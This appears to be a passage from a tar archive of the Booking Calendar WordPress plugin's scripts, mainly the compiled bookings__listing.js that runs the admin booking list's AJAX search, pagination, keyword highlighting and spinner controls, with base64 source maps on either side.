jdGl2YXRlJywgZnVuY3Rpb24oKSB7IGFsZXJ0KCd7cmVnaW9ufTpkZWFjdGl2YXRlJyk7IH0gKTtcclxuXHRcdFx0Ly8gYW5kIGEgbW9yZSBzcGVjaWZpYyBldmVudCBpbmNsdWRpbmcgdGhlIG1vZGUuXHJcblx0XHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggJ2NvbnRlbnQ6ZGVhY3RpdmF0ZTp7bW9kZX0nLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3tyZWdpb259OmRlYWN0aXZhdGV7bW9kZX0nKTsgfSApO1xyXG5cclxuXHRcdFx0Ly8gRmlyZXMgd2hlbiBhIHJlZ2lvbiBpcyByZWFkeSBmb3IgaXRzIHZpZXcgdG8gYmUgY3JlYXRlZC5cclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLm9uKCAnY29udGVudDpjcmVhdGUnLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3tyZWdpb259OmNyZWF0ZScpOyB9ICk7XHJcblx0XHRcdC8vIGFuZCBhIG1vcmUgc3BlY2lmaWMgZXZlbnQgaW5jbHVkaW5nIHRoZSBtb2RlLlxyXG5cdFx0XHR3cGJjX21lZGlhX2ZpbGVfZnJhbWUub24oICdjb250ZW50OmNyZWF0ZTp7bW9kZX0nLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3tyZWdpb259OmNyZWF0ZXttb2RlfScpOyB9ICk7XHJcblxyXG5cdFx0XHQvLyBGaXJlcyB3aGVuIGEgcmVnaW9uIGlzIHJlYWR5IGZvciBpdHMgdmlldyB0byBiZSByZW5kZXJlZC5cclxuXHRcdFx0d3BiY19tZWRpYV9maWxlX2ZyYW1lLm9uKCAnY29udGVudDpyZW5kZXInLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3tyZWdpb259OnJlbmRlcicpOyB9ICk7XHJcblx0XHRcdC8vIGFuZCBhIG1vcmUgc3BlY2lmaWMgZXZlbnQgaW5jbHVkaW5nIHRoZSBtb2RlLlxyXG5cdFx0XHR3cGJjX21lZGlhX2ZpbGVfZnJhbWUub24oICdjb250ZW50OnJlbmRlcjp7bW9kZX0nLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3tyZWdpb259OnJlbmRlcnttb2RlfScpOyB9ICk7XHJcblxyXG5cdFx0XHQvLyBGaXJlcyB3aGVuIGEgbmV3IG1vZGUgaXMgYWN0aXZhdGVkIChhZnRlciBpdCBoYXMgYmVlbiByZW5kZXJlZCkgb24gYSByZWdpb24uXHJcblx0XHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggJ2NvbnRlbnQ6YWN0aXZhdGUnLCBmdW5jdGlvbigpIHsgYWxlcnQoJ3tyZWdpb259OmFjdGl2YXRlJyk7IH0gKTtcclxuXHRcdFx0Ly8gYW5kIGEgbW9yZSBzcGVjaWZpYyBldmVudCBpbmNsdWRpbmcgdGhlIG1vZGUuXHJcblx0XHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggJ2NvbnRlbnQ6YWN0aXZhdGU6e21vZGV9JywgZnVuY3Rpb24oKSB7IGFsZXJ0KCd7cmVnaW9ufTphY3RpdmF0ZXttb2RlfScpOyB9ICk7XHJcblxyXG5cdFx0XHQvLyBHZXQgYW4gb2JqZWN0IHJlcHJlc2VudGluZyB0aGUgY3VycmVudCBzdGF0ZS5cclxuXHRcdFx0Ly93cGJjX21lZGlhX2ZpbGVfZnJhbWUuc3RhdGUoKTtcclxuXHJcblx0XHRcdC8vIEdldCBhbiBvYmplY3QgcmVwcmVzZW50aW5nIHRoZSBwcmV2aW91cyBzdGF0ZS5cclxuXHRcdFx0Ly93cGJjX21lZGlhX2ZpbGVfZnJhbWUubGFzdFN0YXRlKCk7XHJcblx0XHQqL1xyXG5cdFx0LypcclxuXHRcdFx0Ly8gRGVidWdlIGFsbCBldmVudHMgZnJvbSAgbWVkaWEgRnJhbWUhXHJcblx0XHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vbiggXCJhbGxcIiwgZnVuY3Rpb24gKCBldmVudE5hbWUgKXtcclxuXHRcdFx0XHRjb25zb2xlLmxvZyggJ0ZyYW1lIEV2ZW50OiAnICsgZXZlbnROYW1lICk7XHJcblx0XHRcdH0gKTtcclxuXHJcblx0XHRcdC8vIERlYnVnZSBhbGwgZXZlbnRzIGZyb20gIG1lZGlhIEZyYW1lIVxyXG5cdFx0XHR3cC5tZWRpYS5tb2RlbC5BdHRhY2htZW50LmdldCggXCJjb2xsZWN0aW9uXCIgKS5jb2xsZWN0aW9uLm9uKCBcImFsbFwiLCBmdW5jdGlvbiAoIGV2ZW50TmFtZSApe1xyXG5cdFx0XHRcdGNvbnNvbGUubG9nKCAnW0NvbGxlY3Rpb25dIEV2ZW50OiAnICsgZXZlbnROYW1lICk7XHJcblx0XHRcdH0gKTtcclxuXHRcdFx0d3AubWVkaWEubW9kZWwuQXR0YWNobWVudC5nZXQoIFwibW9kZWxzXCIgKS5jb2xsZWN0aW9uLm9uKCBcImFsbFwiLCBmdW5jdGlvbiAoIGV2ZW50TmFtZSApe1xyXG5cdFx0XHRcdGNvbnNvbGUubG9nKCAnW21vZGVsc10gRXZlbnQ6ICcgKyBldmVudE5hbWUgKTtcclxuXHRcdFx0fSApO1xyXG5cdFx0XHR3cC5tZWRpYS5tb2RlbC5BdHRhY2htZW50LmdldCggXCJ2aWV3c1wiICkuY29sbGVjdGlvbi5vbiggXCJhbGxcIiwgZnVuY3Rpb24gKCBldmVudE5hbWUgKXtcclxuXHRcdFx0XHRjb25zb2xlLmxvZyggJ1t2aWV3c10gRXZlbnQ6ICcgKyBldmVudE5hbWUgKTtcclxuXHRcdFx0fSApO1xyXG5cdFx0Ki9cclxuXHJcblx0XHQvLyBPcGVuIHRoZSBtb2RhbC5cclxuXHRcdHdwYmNfbWVkaWFfZmlsZV9mcmFtZS5vcGVuKCk7XHJcblx0fSk7XHJcbn0pOyJdLCJtYXBwaW5ncyI6Ijs7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTs7QUFFQSxJQUFJQSxxQkFBcUI7QUFFekJDLE1BQU0sQ0FBRUMsUUFBUyxDQUFDLENBQUNDLEtBQUssQ0FBRSxZQUFXO0VBQ3BDOztFQUVBRixNQUFNLENBQUUsMkJBQTRCLENBQUMsQ0FBQ0csRUFBRSxDQUFFLE9BQU8sRUFBRSxVQUF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 bookings__listing.js 0000666 00000210004 15165577032 0010621 0 ustar 00 "use strict"; function _createForOfIteratorHelper(o, allowArrayLike) { var it = typeof Symbol !== "undefined" && o[Symbol.iterator] || o["@@iterator"]; if (!it) { if (Array.isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") { if (it) o = it; var i = 0; var F = function F() {}; return { s: F, n: function n() { if (i >= o.length) return { done: true }; return { done: false, value: o[i++] }; }, e: function e(_e) { throw _e; }, f: F }; } throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var normalCompletion = true, didErr = false, err; return { s: function s() { it = it.call(o); }, n: function n() { var step = it.next(); normalCompletion = step.done; return step; }, e: function e(_e2) { didErr = true; err = _e2; }, f: function f() { try { if (!normalCompletion && it["return"] != null) it["return"](); } finally { if (didErr) throw err; } } }; } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; } function _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } jQuery('body').on({ 'touchmove': function touchmove(e) { jQuery('.timespartly').each(function (index) { var td_el = jQuery(this).get(0); if (undefined != td_el._tippy) { var instance = td_el._tippy; instance.hide(); } }); } }); /** * Request Object * Here we can define Search parameters and Update it later, when some parameter was changed * */ var wpbc_ajx_booking_listing = function (obj, $) { // Secure parameters for Ajax ------------------------------------------------------------------------------------ var p_secure = obj.security_obj = obj.security_obj || { user_id: 0, nonce: '', locale: '' }; obj.set_secure_param = function (param_key, param_val) { p_secure[param_key] = param_val; }; obj.get_secure_param = function (param_key) { return p_secure[param_key]; }; // Listing Search parameters ------------------------------------------------------------------------------------ var p_listing = obj.search_request_obj = obj.search_request_obj || { sort: "booking_id", sort_type: "DESC", page_num: 1, page_items_count: 10, create_date: "", keyword: "", source: "" }; obj.search_set_all_params = function (request_param_obj) { p_listing = request_param_obj; }; obj.search_get_all_params = function () { return p_listing; }; obj.search_get_param = function (param_key) { return p_listing[param_key]; }; obj.search_set_param = function (param_key, param_val) { // if ( Array.isArray( param_val ) ){ // param_val = JSON.stringify( param_val ); // } p_listing[param_key] = param_val; }; obj.search_set_params_arr = function (params_arr) { _.each(params_arr, function (p_val, p_key, p_data) { // Define different Search parameters for request this.search_set_param(p_key, p_val); }); }; // Other parameters ------------------------------------------------------------------------------------ var p_other = obj.other_obj = obj.other_obj || {}; obj.set_other_param = function (param_key, param_val) { p_other[param_key] = param_val; }; obj.get_other_param = function (param_key) { return p_other[param_key]; }; return obj; }(wpbc_ajx_booking_listing || {}, jQuery); /** * Ajax ------------------------------------------------------------------------------------------------------ */ /** * Send Ajax search request * for searching specific Keyword and other params */ function wpbc_ajx_booking_ajax_search_request() { console.groupCollapsed('AJX_BOOKING_LISTING'); console.log(' == Before Ajax Send - search_get_all_params() == ', wpbc_ajx_booking_listing.search_get_all_params()); wpbc_booking_listing_reload_button__spin_start(); /* //FixIn: forVideo if ( ! is_this_action ){ //wpbc_ajx_booking__actual_listing__hide(); jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '<div style="width:100%;text-align: center;" id="wpbc_loading_section"><span class="wpbc_icn_autorenew wpbc_spin"></span></div>' + jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html() ); if ( 'function' === typeof (jQuery( '#wpbc_loading_section' ).wpbc_my_modal) ){ //FixIn: 9.0.1.5 jQuery( '#wpbc_loading_section' ).wpbc_my_modal( 'show' ); } else { alert( 'Warning! Booking Calendar. Its seems that you have deactivated loading of Bootstrap JS files at Booking Settings General page in Advanced section.' ) } } is_this_action = false; */ // Start Ajax jQuery.post(wpbc_url_ajax, { action: 'WPBC_AJX_BOOKING_LISTING', wpbc_ajx_user_id: wpbc_ajx_booking_listing.get_secure_param('user_id'), nonce: wpbc_ajx_booking_listing.get_secure_param('nonce'), wpbc_ajx_locale: wpbc_ajx_booking_listing.get_secure_param('locale'), search_params: wpbc_ajx_booking_listing.search_get_all_params() }, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-searcg.php * @param textStatus - 'success' * @param jqXHR - Object */ function (response_data, textStatus, jqXHR) { //FixIn: forVideo //jQuery( '#wpbc_loading_section' ).wpbc_my_modal( 'hide' ); console.log(' == Response WPBC_AJX_BOOKING_LISTING == ', response_data); console.groupEnd(); // Probably Error if (_typeof(response_data) !== 'object' || response_data === null) { jQuery('.wpbc_ajx_under_toolbar_row').hide(); //FixIn: 9.6.1.5 jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).html('<div class="wpbc-settings-notice notice-warning" style="text-align:left">' + response_data + '</div>'); return; } // Reload page, after filter toolbar was reseted if (undefined != response_data['ajx_cleaned_params'] && 'reset_done' === response_data['ajx_cleaned_params']['ui_reset']) { location.reload(); return; } // Show listing if (response_data['ajx_count'] > 0) { wpbc_ajx_booking_show_listing(response_data['ajx_items'], response_data['ajx_search_params'], response_data['ajx_booking_resources']); wpbc_pagination_echo(wpbc_ajx_booking_listing.get_other_param('pagination_container'), { 'page_active': response_data['ajx_search_params']['page_num'], 'pages_count': Math.ceil(response_data['ajx_count'] / response_data['ajx_search_params']['page_items_count']), 'page_items_count': response_data['ajx_search_params']['page_items_count'], 'sort_type': response_data['ajx_search_params']['sort_type'] }); wpbc_ajx_booking_define_ui_hooks(); // Redefine Hooks, because we show new DOM elements } else { wpbc_ajx_booking__actual_listing__hide(); jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).html('<div class="wpbc-settings-notice0 notice-warning0" style="text-align:center;margin-left:-50px;">' + '<strong>' + 'No results found for current filter options...' + '</strong>' + //'<strong>' + 'No results found...' + '</strong>' + '</div>'); } // Update new booking count if (undefined !== response_data['ajx_new_bookings_count']) { var ajx_new_bookings_count = parseInt(response_data['ajx_new_bookings_count']); if (ajx_new_bookings_count > 0) { jQuery('.wpbc_badge_count').show(); } jQuery('.bk-update-count').html(ajx_new_bookings_count); } wpbc_booking_listing_reload_button__spin_pause(); jQuery('#ajax_respond').html(response_data); // For ability to show response, add such DIV element to page }).fail(function (jqXHR, textStatus, errorThrown) { if (window.console && window.console.log) { console.log('Ajax_Error', jqXHR, textStatus, errorThrown); } jQuery('.wpbc_ajx_under_toolbar_row').hide(); //FixIn: 9.6.1.5 var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown; if (jqXHR.responseText) { error_message += jqXHR.responseText; } error_message = error_message.replace(/\n/g, "<br />"); wpbc_ajx_booking_show_message(error_message); }) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax } /** * Views ----------------------------------------------------------------------------------------------------- */ /** * Show Listing Table and define gMail checkbox hooks * * @param json_items_arr - JSON object with Items * @param json_search_params - JSON object with Search */ function wpbc_ajx_booking_show_listing(json_items_arr, json_search_params, json_booking_resources) { wpbc_ajx_define_templates__resource_manipulation(json_items_arr, json_search_params, json_booking_resources); //console.log( 'json_items_arr' , json_items_arr, json_search_params ); jQuery('.wpbc_ajx_under_toolbar_row').css("display", "flex"); //FixIn: 9.6.1.5 var list_header_tpl = wp.template('wpbc_ajx_booking_list_header'); var list_row_tpl = wp.template('wpbc_ajx_booking_list_row'); // Header jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).html(list_header_tpl()); // Body jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).append('<div class="wpbc_selectable_body"></div>'); // R o w s console.groupCollapsed('LISTING_ROWS'); // LISTING_ROWS _.each(json_items_arr, function (p_val, p_key, p_data) { if ('undefined' !== typeof json_search_params['keyword']) { // Parameter for marking keyword with different color in a list p_val['__search_request_keyword__'] = json_search_params['keyword']; } else { p_val['__search_request_keyword__'] = ''; } p_val['booking_resources'] = json_booking_resources; jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container') + ' .wpbc_selectable_body').append(list_row_tpl(p_val)); }); console.groupEnd(); // LISTING_ROWS wpbc_define_gmail_checkbox_selection(jQuery); // Redefine Hooks for clicking at Checkboxes } /** * Define template for changing booking resources & update it each time, when listing updating, useful for showing actual booking resources. * * @param json_items_arr - JSON object with Items * @param json_search_params - JSON object with Search * @param json_booking_resources - JSON object with Resources */ function wpbc_ajx_define_templates__resource_manipulation(json_items_arr, json_search_params, json_booking_resources) { // Change booking resource var change_booking_resource_tpl = wp.template('wpbc_ajx_change_booking_resource'); jQuery('#wpbc_hidden_template__change_booking_resource').html(change_booking_resource_tpl({ 'ajx_search_params': json_search_params, 'ajx_booking_resources': json_booking_resources })); // Duplicate booking resource var duplicate_booking_to_other_resource_tpl = wp.template('wpbc_ajx_duplicate_booking_to_other_resource'); jQuery('#wpbc_hidden_template__duplicate_booking_to_other_resource').html(duplicate_booking_to_other_resource_tpl({ 'ajx_search_params': json_search_params, 'ajx_booking_resources': json_booking_resources })); } /** * Show just message instead of listing and hide pagination */ function wpbc_ajx_booking_show_message(message) { wpbc_ajx_booking__actual_listing__hide(); jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).html('<div class="wpbc-settings-notice notice-warning" style="text-align:left">' + message + '</div>'); } /** * H o o k s - its Action/Times when need to re-Render Views ----------------------------------------------- */ /** * Send Ajax Search Request after Updating search request parameters * * @param params_arr */ function wpbc_ajx_booking_send_search_request_with_params(params_arr) { // Define different Search parameters for request _.each(params_arr, function (p_val, p_key, p_data) { //console.log( 'Request for: ', p_key, p_val ); wpbc_ajx_booking_listing.search_set_param(p_key, p_val); }); // Send Ajax Request wpbc_ajx_booking_ajax_search_request(); } /** * Search request for "Page Number" * @param page_number int */ function wpbc_ajx_booking_pagination_click(page_number) { wpbc_ajx_booking_send_search_request_with_params({ 'page_num': page_number }); } /** * Keyword Searching ----------------------------------------------------------------------------------------- */ /** * Search request for "Keyword", also set current page to 1 * * @param element_id - HTML ID of element, where was entered keyword */ function wpbc_ajx_booking_send_search_request_for_keyword(element_id) { // We need to Reset page_num to 1 with each new search, because we can be at page #4, but after new search we can have totally only 1 page wpbc_ajx_booking_send_search_request_with_params({ 'keyword': jQuery(element_id).val(), 'page_num': 1 }); } /** * Send search request after few seconds (usually after 1,5 sec) * Closure function. Its useful, for do not send too many Ajax requests, when someone make fast typing. */ var wpbc_ajx_booking_searching_after_few_seconds = function () { var closed_timer = 0; return function (element_id, timer_delay) { // Get default value of "timer_delay", if parameter was not passed into the function. timer_delay = typeof timer_delay !== 'undefined' ? timer_delay : 1500; clearTimeout(closed_timer); // Clear previous timer // Start new Timer closed_timer = setTimeout(wpbc_ajx_booking_send_search_request_for_keyword.bind(null, element_id), timer_delay); }; }(); /** * Define Dynamic Hooks (like pagination click, which renew each time with new listing showing) ------------- */ /** * Define HTML ui Hooks: on KeyUp | Change | -> Sort Order & Number Items / Page * We are hcnaged it each time, when showing new listing, because DOM elements chnaged */ function wpbc_ajx_booking_define_ui_hooks() { if ('function' === typeof wpbc_define_tippy_tooltips) { wpbc_define_tippy_tooltips('.wpbc_listing_container '); } wpbc_ajx_booking__ui_define__locale(); wpbc_ajx_booking__ui_define__remark(); // Items Per Page jQuery('.wpbc_items_per_page').on('change', function (event) { wpbc_ajx_booking_send_search_request_with_params({ 'page_items_count': jQuery(this).val(), 'page_num': 1 }); }); // Sorting jQuery('.wpbc_items_sort_type').on('change', function (event) { wpbc_ajx_booking_send_search_request_with_params({ 'sort_type': jQuery(this).val() }); }); } /** * Show / Hide Listing --------------------------------------------------------------------------------------- */ /** * Show Listing Table - Sending Ajax Request - with parameters that we early defined in "wpbc_ajx_booking_listing" Obj. */ function wpbc_ajx_booking__actual_listing__show() { wpbc_ajx_booking_ajax_search_request(); // Send Ajax Request - with parameters that we early defined in "wpbc_ajx_booking_listing" Obj. } /** * Hide Listing Table ( and Pagination ) */ function wpbc_ajx_booking__actual_listing__hide() { jQuery('.wpbc_ajx_under_toolbar_row').hide(); //FixIn: 9.6.1.5 jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).html(''); jQuery(wpbc_ajx_booking_listing.get_other_param('pagination_container')).html(''); } /** * Support functions for Content Template data --------------------------------------------------------------- */ /** * Highlight strings, * by inserting <span class="fieldvalue name fieldsearchvalue">...</span> html elements into the string. * @param {string} booking_details - Source string * @param {string} booking_keyword - Keyword to highlight * @returns {string} */ function wpbc_get_highlighted_search_keyword(booking_details, booking_keyword) { booking_keyword = booking_keyword.trim().toLowerCase(); if (0 == booking_keyword.length) { return booking_details; } // Highlight substring withing HTML tags in "Content of booking fields data" -- e.g. starting from > and ending with < var keywordRegex = new RegExp("fieldvalue[^<>]*>([^<]*".concat(booking_keyword, "[^<]*)"), 'gim'); //let matches = [...booking_details.toLowerCase().matchAll( keywordRegex )]; var matches = booking_details.toLowerCase().matchAll(keywordRegex); matches = Array.from(matches); var strings_arr = []; var pos_previous = 0; var search_pos_start; var search_pos_end; var _iterator = _createForOfIteratorHelper(matches), _step; try { for (_iterator.s(); !(_step = _iterator.n()).done;) { var match = _step.value; search_pos_start = match.index + match[0].toLowerCase().indexOf('>', 0) + 1; strings_arr.push(booking_details.substr(pos_previous, search_pos_start - pos_previous)); search_pos_end = booking_details.toLowerCase().indexOf('<', search_pos_start); strings_arr.push('<span class="fieldvalue name fieldsearchvalue">' + booking_details.substr(search_pos_start, search_pos_end - search_pos_start) + '</span>'); pos_previous = search_pos_end; } } catch (err) { _iterator.e(err); } finally { _iterator.f(); } strings_arr.push(booking_details.substr(pos_previous, booking_details.length - pos_previous)); return strings_arr.join(''); } /** * Convert special HTML characters from: & -> & * * @param text * @returns {*} */ function wpbc_decode_HTML_entities(text) { var textArea = document.createElement('textarea'); textArea.innerHTML = text; return textArea.value; } /** * Convert TO special HTML characters from: & -> & * * @param text * @returns {*} */ function wpbc_encode_HTML_entities(text) { var textArea = document.createElement('textarea'); textArea.innerText = text; return textArea.innerHTML; } /** * Support Functions - Spin Icon in Buttons ------------------------------------------------------------------ */ /** * Spin button in Filter toolbar - Start */ function wpbc_booking_listing_reload_button__spin_start() { jQuery('#wpbc_booking_listing_reload_button .menu_icon.wpbc_spin').removeClass('wpbc_animation_pause'); } /** * Spin button in Filter toolbar - Pause */ function wpbc_booking_listing_reload_button__spin_pause() { jQuery('#wpbc_booking_listing_reload_button .menu_icon.wpbc_spin').addClass('wpbc_animation_pause'); } /** * Spin button in Filter toolbar - is Spinning ? * * @returns {boolean} */ function wpbc_booking_listing_reload_button__is_spin() { if (jQuery('#wpbc_booking_listing_reload_button .menu_icon.wpbc_spin').hasClass('wpbc_animation_pause')) { return true; } else { return false; } } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5jbHVkZXMvcGFnZS1ib29raW5ncy9fb3V0L2Jvb2tpbmdzX19saXN0aW5nLmpzIiwibmFtZXMiOlsiX2NyZWF0ZUZvck9mSXRlcmF0b3JIZWxwZXIiLCJvIiwiYWxsb3dBcnJheUxpa2UiLCJpdCIsIlN5bWJvbCIsIml0ZXJhdG9yIiwiQXJyYXkiLCJpc0FycmF5IiwiX3Vuc3VwcG9ydGVkSXRlcmFibGVUb0FycmF5IiwibGVuZ3RoIiwiaSIsIkYiLCJzIiwibiIsImRvbmUiLCJ2YWx1ZSIsImUiLCJfZSIsImYiLCJUeXBlRXJyb3IiLCJub3JtYWxDb21wbGV0aW9uIiwiZGlkRXJyIiwiZXJyIiwiY2FsbCIsInN0ZXAiLCJuZXh0IiwiX2UyIiwibWluTGVuIiwiX2FycmF5TGlrZVRvQXJyYXkiLCJPYmplY3QiLCJwcm90b3R5cGUiLCJ0b1N0cmluZyIsInNsaWNlIiwiY29uc3RydWN0b3IiLCJuYW1lIiwiZnJvbSIsInRlc3QiLCJhcnIiLCJsZW4iLCJhcnIyIiwiX3R5cGVvZiIsIm9iaiIsImpRdWVyeSIsIm9uIiwidG91Y2htb3ZlIiwiZWFjaCIsImluZGV4IiwidGRfZWwiLCJnZXQiLCJ1bmRlZmluZWQiLCJfdGlwcHkiLCJpbnN0YW5jZSIsImhpZGUiLCJ3cGJjX2FqeF9ib29raW5nX2xpc3RpbmciLCIkIiwicF9zZWN1cmUiLCJzZWN1cml0eV9vYmoiLCJ1c2VyX2lkIiwibm9uY2UiLCJsb2NhbGUiLCJzZXRfc2VjdXJlX3BhcmFtIiwicGFyYW1fa2V5IiwicGFyYW1fdmFsIiwiZ2V0X3NlY3VyZV9wYXJhbSIsInBfbGlzdGluZyIsInNlYXJjaF9yZXF1ZXN0X29ia